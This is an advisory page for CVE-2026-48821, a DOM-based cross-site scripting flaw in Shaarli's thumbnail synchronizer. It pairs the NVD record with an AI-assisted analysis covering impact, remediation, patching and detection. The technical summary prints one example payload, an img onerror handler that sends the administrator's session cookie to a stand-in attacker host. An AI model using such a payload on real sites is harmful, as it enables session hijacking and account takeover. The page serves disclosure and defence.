CVE-2026-48821: Shaarli Thumbnail Synchronizer DOM-Based XSS Vulnerability
Shaarli, a self-hosted bookmarking application, has a cross-site scripting (XSS) vulnerability in its thumbnail synchronization feature affecting versions 0.16.1 and earlier. When administrators use the thumbnail update tool, the system retrieves bookmark data from the server and displays it on the page without properly cleaning the content first. An attacker who controls bookmark titles can inject malicious scripts that execute when an administrator runs the thumbnail sync. The scripts run with the administrator's permissions, potentially allowing unauthorized access to accounts, elevation of privileges, or installation of persistent backdoors. The vulnerability has been patched in version 0.16.2.
Source data · NVD / CISA · public domain
- CVSS
- 3.1 · 5.8 MEDIUM · CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N
- Weaknesses (CWE)
- CWE-79
- Affected products
- 0 configuration(s)
- Published / Modified
- 2026-06-17 / 2026-06-23
NVD description (verbatim)
Shaarli is a personal bookmarking service. Versions 0.16.1 and prior contain a DOM-based Cross-Site Scripting (XSS) vulnerability in the Thumbnail Synchronizer feature. When an administrator runs the thumbnail update process, malicious bookmark titles are returned via an AJAX response and inserted into the DOM using innerHTML without proper sanitization. The issue originates from the interaction between the backend thumbnail update endpoint and the frontend JavaScript responsible for rendering update progress. On the backend, the ThumbnailsController::ajaxUpdate method returns bookmark data formatted using the 'raw' formatter. This includes the unescaped bookmark title in the JSON response. On the client side, the script thumbnails-update.js processes this AJAX response and dynamically updates the progress interface. Administrators using the thumbnail synchronization feature are affected and exploitation could lead to session hijacking, privilege escalation, backdoor injection and full compromise. This issue has been fixed in version 0.16.2.
3 reference(s) · View on NVD →
SEC.co analysis · AI-assisted, reviewed against source
Technical summary
CVE-2026-48821 is a DOM-based XSS vulnerability in Shaarli's Thumbnail Synchronizer. The root cause lies in a two-layer encoding gap: the backend ThumbnailsController::ajaxUpdate endpoint returns bookmark data via JSON using the 'raw' formatter, which does not escape special characters in bookmark titles. The frontend thumbnails-update.js script then consumes this AJAX response and directly inserts the data into the DOM using innerHTML, bypassing HTML entity encoding. An attacker-controlled bookmark title containing JavaScript payloads (e.g., <img src=x onerror=fetch('//attacker.com/?cookie='+document.cookie)>) will execute within the administrator's browser context during the thumbnail update process. The vulnerability requires administrator action to trigger, but once triggered, the payload runs with full administrative privileges and session access.
Business impact
For organizations self-hosting Shaarli, this vulnerability poses a direct threat to administrative account integrity. A compromised administrator account can be leveraged to inject backdoors, create rogue administrative users, exfiltrate sensitive bookmarked content, or pivot into connected systems. The impact is particularly severe if Shaarli is deployed in privacy-conscious environments (e.g., journalism, legal, medical organizations) where bookmarks may contain sensitive URLs or information. Unpatched instances remain vulnerable to both internal threats (if an attacker can create or modify bookmarks) and external attacks if Shaarli is exposed to untrusted networks.
Affected systems
Shaarli versions 0.16.1 and all prior versions are affected. Version 0.16.2 and later contain the fix. The vulnerability only manifests when an administrator actively uses the Thumbnail Synchronizer feature, so organizations that have never run this feature or have disabled it face lower immediate risk. However, all unpatched deployments are potentially exploitable if an attacker gains the ability to craft or modify bookmarks in the database.
Exploitability
Exploitation requires two conditions: (1) attacker ability to create or modify bookmarks in the target Shaarli instance, and (2) an administrator manually triggering the thumbnail synchronization process. The attack does not require authentication if the instance allows anonymous bookmark creation, but most Shaarli deployments restrict bookmark creation to authenticated users. If an attacker already has an account or can register one, they can inject a malicious bookmark title and wait for an administrator to run the sync. The payload executes with no user interaction beyond the administrator's deliberate thumbnail update action, making it reliably exploitable in that scenario.
Remediation
Upgrade Shaarli to version 0.16.2 or later. This version patches the vulnerability by properly escaping bookmark titles before inserting them into the DOM. Organizations unable to upgrade immediately should disable or restrict access to the Thumbnail Synchronizer feature via authentication controls or by blocking the feature at the web server level. Additionally, audit the bookmark database for any suspicious titles containing script fragments and review administrator session logs for anomalous activity during recent thumbnail sync operations.
Patch guidance
Apply the official Shaarli update to version 0.16.2 or newer. Verify the update by checking the application version number in the Shaarli admin interface or by reviewing the git commit history if running from source. Test the thumbnail synchronizer after patching to confirm functionality is restored. If upgrading from a significantly older version (e.g., 0.15.x or earlier), review release notes for any configuration changes or database migrations required. No configuration rollback should be necessary; the patch is backward-compatible.
Detection guidance
Monitor for successful and failed attempts to create or modify bookmarks with payloads containing script tags, event handlers (onerror, onload, onclick, etc.), or encoded variants thereof. Log administrator access to the Thumbnail Synchronizer feature and correlate it with any browser-based anomalies (e.g., unexpected outbound connections from the server or unexpected administrative actions). In a post-incident investigation, review web server access logs for the thumbnail update endpoint (typically /admin/thumbnails) and cross-reference timestamps with administrator session logs. Check browser console logs on administrator machines for JavaScript errors or warnings during thumbnail sync operations, which may indicate payload execution or sanitization attempts.
Why prioritize this
Although the CVSS score is MEDIUM (5.8), the actual risk to affected organizations is substantial due to the administrative context and potential for account compromise and backdoor installation. Prioritization should be elevated for any Shaarli instance that (1) runs the Thumbnail Synchronizer regularly, (2) allows untrusted users to create bookmarks, or (3) is exposed to networks beyond the organization's direct control. The patch is available, uncomplicated, and low-risk, making remediation a high-priority, low-friction action.
Risk score, explained
The CVSS 3.1 score of 5.8 (MEDIUM) reflects a local attack vector (AV:L), low attack complexity (AC:L), and high privilege requirement (PR:H). The high impact on confidentiality and integrity (C:H, I:H) is partially offset by the requirement that an administrator must initiate the thumbnail sync and the attacker must first control a bookmark in the database. Availability is not impacted (A:N). In practice, the risk may exceed this score for organizations with permissive bookmark creation policies or frequent thumbnail syncing routines; conversely, it may be lower for air-gapped or fully restricted instances.
Frequently asked questions
Can this vulnerability be exploited if my Shaarli instance is not exposed to the internet?
Exploitation still requires the attacker to either create a bookmark in the instance or modify an existing one. If your Shaarli is air-gapped and all users are trusted, the risk is lower. However, if internal users can create bookmarks or if database access is otherwise compromised, the vulnerability remains a vector for privilege escalation or session hijacking.
Does disabling the Thumbnail Synchronizer feature eliminate the vulnerability?
Yes, if the feature is disabled and administrators do not use it, the vulnerability cannot be triggered. However, the vulnerable code remains in the application, so upgrading to 0.16.2 is still recommended to avoid re-enabling the feature or re-exposure if the application is updated in the future.
What type of malicious content can be injected via a bookmark title?
Any JavaScript code can be injected, including keyloggers, session stealers, CSRF forgers, or backdoor injectors. Common payloads exfiltrate session cookies, redirect the administrator to a phishing page, or inject an administrative user into the Shaarli database. The injected script runs with the same permissions as the administrator.
If an attacker compromises my Shaarli administrator account via this vulnerability, how do I detect and clean up?
Immediately force-logout all active sessions, reset all administrative passwords, review the audit log (if enabled) and administrator user list for unauthorized accounts created after the suspected exploit date, and scan the server for backdoor files or reverse shells. Upgrade to 0.16.2 to prevent re-exploitation. If you suspect data exfiltration, review bookmark content and check for any sensitive information in the logs or access patterns.
This analysis is based on the official CVE record and Shaarli project disclosures as of the publication date. Specific patch availability, vendor communications, and deployment environments may vary. Organizations should verify patch applicability and test in non-production environments before deploying to critical infrastructure. This document does not constitute legal or compliance advice and should be supplemented with internal risk assessment and vendor communications. SEC.co assumes no liability for inaccuracies or omissions in derived analysis. Source: NVD (public-domain), retrieved 2026-07-27. Analysis generated by SEC.co (claude-haiku-4-5).
Weaknesses (CWE)
Related vulnerabilities
- CVE-2016-20070MEDIUMPrivilege Escalation & Stored XSS in WordPress Booking Calendar Contact Form 1.0.23
- CVE-2018-25384MEDIUMStored XSS in Wikidforum 2.20 Allows Authenticated Attackers to Inject Malicious Scripts
- CVE-2019-25731MEDIUMStored XSS in Zuz Music 2.1 Contact Form
- CVE-2019-25737MEDIUMStored XSS in Live Chat Unlimited 2.8.3 – Admin Session Compromise
- CVE-2019-25739MEDIUMGigToDo 1.3 Stored XSS Vulnerability in Proposal Descriptions
- CVE-2019-25742MEDIUMStored XSS in Zoner Real Estate WordPress Theme 4.1.1 – Admin Account Compromise Risk
- CVE-2019-25743MEDIUMWordPress Soliloquy Lite 2.5.6 Stored XSS Vulnerability
- CVE-2019-25744MEDIUMWordPress Popup Builder 3.49 Stored XSS Vulnerability – Exploit Prevention & Patch Guide